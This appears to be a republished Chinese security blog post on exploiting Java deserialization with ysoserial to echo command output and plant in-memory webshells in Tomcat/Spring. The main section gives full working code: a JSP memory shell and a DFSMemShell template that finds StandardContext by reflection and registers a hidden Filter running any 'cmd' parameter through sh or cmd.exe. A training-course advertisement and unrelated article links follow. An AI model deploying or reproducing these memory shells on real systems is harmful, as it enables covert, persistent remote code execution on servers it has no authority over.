基于ysoserial的深度利用研究(命令回显与内存马)

news2024/10/25 4:25:47

0x01 前言

很多小伙伴做反序列化漏洞的研究都是以命令执行为目标,本地测试最喜欢的就是弹计算器,但没有对反序列化漏洞进行深入研究,例如如何回显命令执行的结果,如何加载内存马。

遇到了一个实际环境中的反序列化漏洞,也通过调试最终成功执行命令,达到了RCE的效果。在实际的攻防场景下,能执行命令并不是最完美的利用场景,内存马才是最终的目标。本篇文章就在此基础上讲一讲如何进行命令回显和加载内存马。

0x02 回显

在研究基于反序列化利用链的回显实现之前,首先解决基于反序列化利用链的回显实现,也就是在响应结果中输出命令执行的结果。对PHP语言熟悉的小伙伴可能会觉得这并不算问题,直接echo不就行了,java里面是不是也应该有类似的函数例如out.println()。Java是一种面向对象的编程语言,所有的操作都是基于类和对象进行,如果要在页面响应中输出内容,必须要先有HttpServletResponse对象,典型的把命令执行结果响应到页面的方式如图2.1所示。

图2.1 通过HttpServletResponse对象输出命令执行结果

从图2.1可以看出最简单的命令执行,也需要比较复杂的代码逻辑,也就要求利用链中必须要支持执行复杂语句。并不是所有的ysoserial利用链都能达到回显和内存马的效果,只有支持复杂语句的利用链才能回显和内存马,如表2.1所示。

表2.1 ysoserial利用链中对复杂语句的支持

我们先以CommonsBeanutils1利用链来进行分析,其他CommonsCollections利用链本质上是一样的,CommonsBeanutils1链和CommonsCollections链最终都是xalan库来动态加载字节码,执行复杂语句。关于xalan利用链的分析网上有很多文章,这里暂不做分析。

要实现反序列化利用链的结果回显,最重要的是要获取到HttpServletRequest对象和HttpServletResponse对象,根据目标环境的不同,获取这两个对象的办法是不一样的,如图2.2,图2.3所示。

图2.2 SpringBoot环境下获取request和response对象

图2.3 SpringMVC环境下获取request和response对象

不同的服务器获取这两个对象的方式不一样,其他例如Weblogic、Jboss、Websphere这些中间件获取这两个对象的方式也不一样,这种差异化极大的增加了反序列化回显和内存马实现的难度。

有没有一种比较通用的办法能够获取到request和response对象呢?答案是有的,基于Thread.CurrentThread()递归搜索可以实现通用的对象查找。目前测试环境是SpringMVC和SpringBOOT,其他环境暂未测试。

Thread.CurrentThread()中保存了当前线程中的全局信息,系统运行环境中所有的类对象都保存在Thread.CurrentThread()。用于回显需要的request和response对象可以在Thread.CurrentThread()中找到;用于内存马实现的StandardContext对象也可以找到。

递归搜索的思路就是遍历Thread.CurrentThread()下的每一个字段,如果字段类别继承自目标类(例如javax.servlet.http.HttpServletRequest),则进行标记,否则继续遍历。如图2.3的方式是在已知目标类的位置获取目标类对应对象的方式,我们的改进办法是在未知目标类位置的情况下,通过遍历的方式来发现目标类对象。

其中关键的代码如图2.4所示,完整的代码见github项目地址。其中最关键的步骤是通过递归的方式来查找Thread.CurrentThread()的所有字段,依次判断字段类型是否为javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。

图2.4 通过递归方式来查找request和response对象

使用这种方式的好处是通用性高,而不需要再去记不同服务器下对象的具体位置。把这种方式保存为一条新的利用链CommonsBeanutils1Echo,然后就可以在兼容SpringMVC和SpringBoot的环境中使用相同的反序列化包,如图2.5,图2.6所示。

图2.5 生成payload

图2.6 使用生成的payload进行反序列化测试

0x03 内存马

内存马一直都是java反序列化利用的终极目标,内存马的实现方式有很多种,其中最常见的是基于Filter的内存马,本文目标也是通过反序列化漏洞实现通用的冰蝎内存马。

基于Filter型的内存马实现步骤比较固定,如果是在jsp的环境下,可以使用下面的方式来生成内存马。

<%@ page import="java.io.IOException" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.io.PrintWriter" %><%// 创建恶意ServletServlet servlet = new Servlet() {@Overridepublic void init(ServletConfig servletConfig) throws ServletException {}@Overridepublic ServletConfig getServletConfig() {return null;}@Overridepublic void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic String getServletInfo() {return null;}@Overridepublic void destroy() {}};%><%// 获取StandardContextorg.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();// 用Wrapper对其进行封装org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();newWrapper.setName("pv587");newWrapper.setLoadOnStartup(1);newWrapper.setServlet(servlet);newWrapper.setServletClass(servlet.getClass().getName());// 添加封装后的恶意Wrapper到StandardContext的children当中standardCtx.addChild(newWrapper);

访问上面的jsp文件,然后就可以删除文件,访问内存马了,如图3.1所示。

图3.1 通过jsp文件来实现内存马

上面的代码是最初级的内存马实现,通过jsp文件来实现的命令执行的内存马。由于本文的重点不是讲内存马的原理,所以代码原理简单在注释中说明,如果需要详细的原因可以参考其他专门讲内存马的文章。在反序列化环境下实现冰蝎的内存马要比这个复杂很多,但是其中一些本质上的步骤是不变的。

内存马实现种最关键的是要获取StandardContext对象,然后基于这个对象来绑定Wrapper。不同的环境下获取StandardContext对象的方式不一样,与上面步骤回显的方式一致,也可以通过递归搜索的方式从Thread.CurrentThread()中查找,把上面内存马的实现放在递归搜索的模版中实现如下所示。

package ysoserial.template;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.deploy.FilterDef;import org.apache.catalina.deploy.FilterMap;import javax.servlet.*;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.util.HashSet;import java.lang.reflect.Array;import java.lang.reflect.Field;import java.util.*;public class DFSMemShell {private HashSet set = new HashSet();private Object standard_context_obj;private Class standard_context_clazz = Class.forName("org.apache.catalina.core.StandardContext");public DFSMemShell() throws Exception {StandardContext standardCtx = (StandardContext) standard_context_obj;FilterDef filterDef = new FilterDef();filterDef.setFilterName("TestFilter");filterDef.setFilter(new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {String cmd = servletRequest.getParameter("cmd");boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";PrintWriter out = servletResponse.getWriter();out.println(output);out.flush();out.close();}@Overridepublic void destroy() {}});standardCtx.addFilterDef(filterDef);Constructor constructor =  ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass());constructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef);Field field = standardCtx.getClass().getDeclaredField("filterConfigs");field.setAccessible(true);Map applicationFilterConfigs = (Map) field.get(standardCtx);applicationFilterConfigs.put("TestFilter", applicationFilterConfig);FilterMap filterMap = new FilterMap();filterMap.setFilterName("TestFilter");filterMap.addURLPattern("/btltest");//动态应用FilterMapstandardCtx.addFilterMap(filterMap);}public Object getStandardContext(){return standard_context_obj;}public void search(Object obj) throws IllegalAccessException {if (obj == null){return;}if (standard_context_obj != null){return;}if (obj.getClass().equals(Object.class) ) {return;}if (standard_context_clazz.isAssignableFrom(obj.getClass())){System.out.println("Found standardContext");standard_context_obj = obj;return;}if (obj.getClass().isArray()) {for (int i = 0; i < Array.getLength(obj); i++) {search(Array.get(obj, i));}} else {Queue q = getAllFields(obj);while (!q.isEmpty()) {Field field = (Field) q.poll();field.setAccessible(true);Object fieldValue = field.get(obj);if(standard_context_clazz.isAssignableFrom(fieldValue.getClass())){System.out.println("Found standard context1");standard_context_obj = fieldValue;}else{search(fieldValue);}}}}public Queue getAllFields(Object obj) throws IllegalAccessException {Queue queue = new LinkedList();for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) {Field[] fields = clazz.getDeclaredFields();for (Field f : fields) {if (f.getType().isPrimitive()) {continue;} else if (f.getType().isArray() && f.getType().getComponentType().isPrimitive()) {continue;}  else {f.setAccessible(true);Object fieldValue = f.get(obj);if (fieldValue != null) {int hashcode = fieldValue.hashCode();if (set.contains(hashcode)) {} else {set.add(hashcode);queue.offer(f);}}}}}return queue;}}

以上面的类为模版,通过xalan链动态字节码加载的方式来生成对应的类对象,会自动这个类中的构造函数,本来逻辑上是没有问题的。但是在实际测试过程中却一直不能成功,后来找到了问题的根源,通过xalan来加载类对应的字节码文件是单个文件,如果类中有内部类或者匿名内部类,则会加载失败。

通过把动态生成的字节码保存到任意class文件,查看文件内容如图3.2所示。从图中可以看出原本定义的Filter类型的匿名内部类变成了”new 1(this)”。

图3.2 动态生成的字节码文件中没有匿名内部类的内容

本来不知道怎么办,但是转念一想,通过反序列化来实现内存马早已经有大佬实现,肯定是有办法解决这个问题的。在项目https://github.com/WhiteHSBG/JNDIExploit中提供了多种环境下实现内存马的方式,如图3.3所示。

图3.3 通过反射的方式来动态加载字节码

如图3.3所示,通过反射的方式来生成Filter类型的对象,避免了使用内部类和匿名内部类,这确实是一个高明的技巧。既然有前辈的足迹,我们直接就可以占在巨人的肩膀上,把JNDIExploit中关于内存马实现的部分拷贝到我这里的反序列化模板中。注意,这里在实现冰蝎内存马的时候同样存在内部类问题,冰蝎中的内部类也需要通过反射的方式来实现。

在实际使用中,还有两个问题需要修改,其中第一个是动态加载字节码运行其中的equals方法,调用方式有问题,如图3.4,图3.5所示。

图3.4 JNDIExploit中加载调用equals方法

图3.5 修改后加载调用equals方法

另一个问题是对于SpringBoot interceptor拦截器内存马,在响应的时候必须明确指定状态码为200,不然冰蝎的客户端会连不上,如图3.6所示。

图3.6 设置状态码为200

这样之后就可以通过反序列化xalan执行复杂语句生成内存马,详细的代码参考https://github.com/webraybtl/ysoserialbtl,如图3.7所示。

0x04 结论

内存马的实现其实是挺复杂的过程,不同环境下实现方式并不完全一样,通过递归搜索的方式可以简化我们寻找特定对象的方式,并具有更高的兼容性。

 题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

  • 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
  • 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

 “没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

 2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

 行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

 

 (都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

  因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

 最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1842633.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

text2vec 如何选择 chunksize 和 splitter?

0x00 导读 对 text2vec 来说&#xff0c;chunksize 选多大合适&#xff1f; 应该选择哪种 splitter &#xff1f; BCE 还是 BGE &#xff1f; 面对这些 RAG 问题&#xff0c;本文根据 text2vec 模型原理做假设&#xff0c;并用 HuixiangDou 真实数据验证&#xff0c;最终给出…

上海晋名室外危化品暂存柜助力国有控股高科技企业危化品安全储存

近日又有一台SAVEST室外危化品暂存柜项目成功验收交付使用&#xff0c;此次项目主要用于国有控股高科技企业油漆、固化剂及一些危废品的安全储存。 用户单位是一家国有控股、产权多元化的现代高科技企业。用户在日常工作运营中涉及到油漆、固化剂等危化品及一些危废品的室外安…

鄂州职业大学2024年成人高等继续教育招生简章

鄂州职业大学&#xff0c;作为一所享有盛誉的高等学府&#xff0c;一直以来都致力于为社会培养具备专业技能和良好素养的优秀人才。在成人高等继续教育领域&#xff0c;该校同样表现出色&#xff0c;为广大渴望继续深造、提升自身能力的成年人提供了宝贵的学习机会。 随着社会…

android关于源码编译简单的apk处理

文章目录 简述文件的添加 简述 创建AOSP源码可编译一个简单apk的过程&#xff0c;代码子目录结构图如下所示 文件的添加 1.com.custom.test目录下创建TestActivity.java文件 用于简单的界面显示类 package com.custom.test;import android.app.Activity; import android.o…

DY-110DP低电压继电器 25-124V 嵌入式安装 约瑟JOSEF

系列型号 DY-110电压继电器&#xff1b;GY-110电压继电器&#xff1b; GDY-110电压继电器&#xff1b;DY-110/AC电压继电器&#xff1b; GY-110/AC电压继电器&#xff1b;GDY-110/AC电压继电器&#xff1b; DL-110电压继电器&#xff1b;GL-110电压继电器&#xff1b; DL-…

【SD3的Turbo也来了】Jasper AI用Flash Diffusion的蒸馏技术为SD3提速

Flash Diffusion 是一种新颖的图像生成方法&#xff0c;旨在显著提高现有条件扩散模型&#xff08;例如教师模型&#xff09;的速度&#xff0c;而无需牺牲性能。它通过引入以下技术来实现这一点&#xff1a; 蒸馏损失&#xff1a;在教师模型和学生模型之间引入蒸馏损失&#…

深信服科技:2023网络钓鱼趋势分析报告

随着互联网的快速发展和广泛应用&#xff0c;网络钓鱼活动带来的安全隐患愈演愈烈。因应威胁发展&#xff0c;我 们编撰了此份分析报告&#xff0c;旨在全面了解其发展态势&#xff0c;并提醒相关部门、企业和公众加强防范。 在本报告中&#xff0c;我们将详细梳理网络钓鱼的近…

【Git】基础操作

初识Git 版本控制的方式&#xff1a; 集中式版本控制工具&#xff1a;版本库是集中存放在中央服务器的&#xff0c;team里每个人work时从中央服务器下载代码&#xff0c;是必须联网才能工作&#xff0c;局域网或者互联网。个人修改之后要提交到中央版本库 例如&#xff1a;SVM和…

无忧易售新功能:集成图片库智能图片翻译,跨越语言障碍

在电商全球化的浪潮中&#xff0c;跨越语言的障碍&#xff0c;让产品图像说话&#xff0c;成为了商家致胜的关键。"无忧易售ERP"推出集成图片库与图片翻译功能的全新升级&#xff0c;为全球电商提供一站式解决方案&#xff0c;让商品跨越国界&#xff0c;沟通无界。 …

Gartner发布2024年人工智能技术成熟度曲线:29项决定人工智能领域发展方向的前沿和趋势性技术

人工智能投资已达到新高&#xff0c;重点是生成式人工智能&#xff0c;但在大多数情况下&#xff0c;该技术尚未实现预期的商业价值。这项研究通过分析各种人工智能创新&#xff08;其中许多创新正在快速发展&#xff09;&#xff0c;帮助人工智能领导者确定其他值得投资的技术…

1台UG图形工作站实现5-7人共享使用

随着计算机辅助设计&#xff08;CAD&#xff09;和计算机辅助制造&#xff08;CAM&#xff09;技术的不断发展&#xff0c;UG图形工作站已成为许多行业不可或缺的重要工具。 对于许多中小型企业而言&#xff0c;购买多台高性能的UG图形工作站无疑是一笔巨大的开销&#xff0c;…

SolidWorks上海官方代理商亿达四方:赋能智能制造,创设计新高度

在上海这片充满活力的热土上&#xff0c;亿达四方作为SolidWorks的正版授权代理商&#xff0c;正以其专业的技术力量和周到的服务体系&#xff0c;为当地制造业的转型升级注入强大动力。我们专注于提供原装正版的SolidWorks系列软件&#xff0c;以及全方位的技术支持与解决方案…

Mac OS 安装frida

安装frida和frida-tools Python是基础&#xff0c;提前装好Python 终端执行 python3 -m pip install frida 如果出现error 按照提示处理 信息提示&#xff1a;brew install pipx 于是终端执行&#xff1a; brew install pipx 安装frida&#xff1a; pipx install frida…

Web3 学习

之前学习 web3&#xff0c;走了不少弯路&#xff0c;最近看到了 hackquest&#xff0c;重新刷了一遍以太坊基础&#xff0c;感觉非常nice&#xff0c;而且完全免费&#xff0c;有需要的可以试试&#xff0c;链接hackquest.io。

数据链路层【Linux网络复习版】

目录 一、数据链路层主要解决的是什么问题&#xff1f; 二、什么是以太网&#xff1f; 三、什么是MAC地址&#xff1f; 四、以太网帧的格式是什么&#xff1f; 五、 什么是MTU&#xff1f; 六、MTU和分片 MTU对IP协议的影响&#xff1f; 如何分片&#xff1f; 如何组装&a…

有什么值得推荐的文件外发权限管理软件?

你的身边有这种事情发生吗&#xff1f; 一些工作人员在传达文件、部署工作时&#xff0c;为贪图方便&#xff0c;直接将涉密文件、涉密工作通过微信群传达部署&#xff0c;造成了大量泄密案件发生。 有些责任人员为了工作方便&#xff0c;对涉密文件进行拍照&#xff0c;通过…

卡巴斯基安全卡片

卡巴斯基委托我们制作展示各种安全场景的插图卡片&#xff0c;这些卡片用于在欧洲委员会支持下开发的互动在线培训课程。我们的设计师为这个项目创造了一种独特的风格&#xff0c;既美观又实用。卡片展示了可能出现的潜在危险情况&#xff0c;例如在购物中心、公交车站或办公室…

【计算机网络篇】数据链路层(6)共享式以太网_网络适配器_MAC地址

文章目录 &#x1f354;网络适配器&#x1f354;MAC地址&#x1f5d2;️IEEE 802局域网的MAC地址格式&#x1f4d2;IEEE 802局域网的MAC地址发送顺序&#x1f95a;单播MAC地址&#x1f95a;广播MAC地址&#x1f95a;多播MAC地址&#x1f50e;小结 &#x1f354;网络适配器 要将…

【产品面对面】deepin V23 RC 新体验,文件管理器全面升级!

内容来源&#xff1a;deepin&#xff08;深度&#xff09;社区 在日复一日的数据海洋遨游中&#xff0c;是否曾因文件杂乱无章而苦恼&#xff1f;是否渴望过有一种魔法&#xff0c;能让文件瞬间归位&#xff0c;触手可及&#xff1f; 今天&#xff0c;我们带着全新的文件管理工…

oracle 数据库导入dmp文件

荆轲刺秦王 从线上正式环境导出的 dmp 文件&#xff0c;导入到本地 oracle 数据库。 1. 创建用户: CREATE USER hf_chip IDENTIFIED BY hf_chip; 2. 授予 CONNECT 和 RESOURCE 基本权限给新用户。 GRANT CONNECT, RESOURCE TO hf_chip; 3. 创建表空间 CREATE TABLESPACE…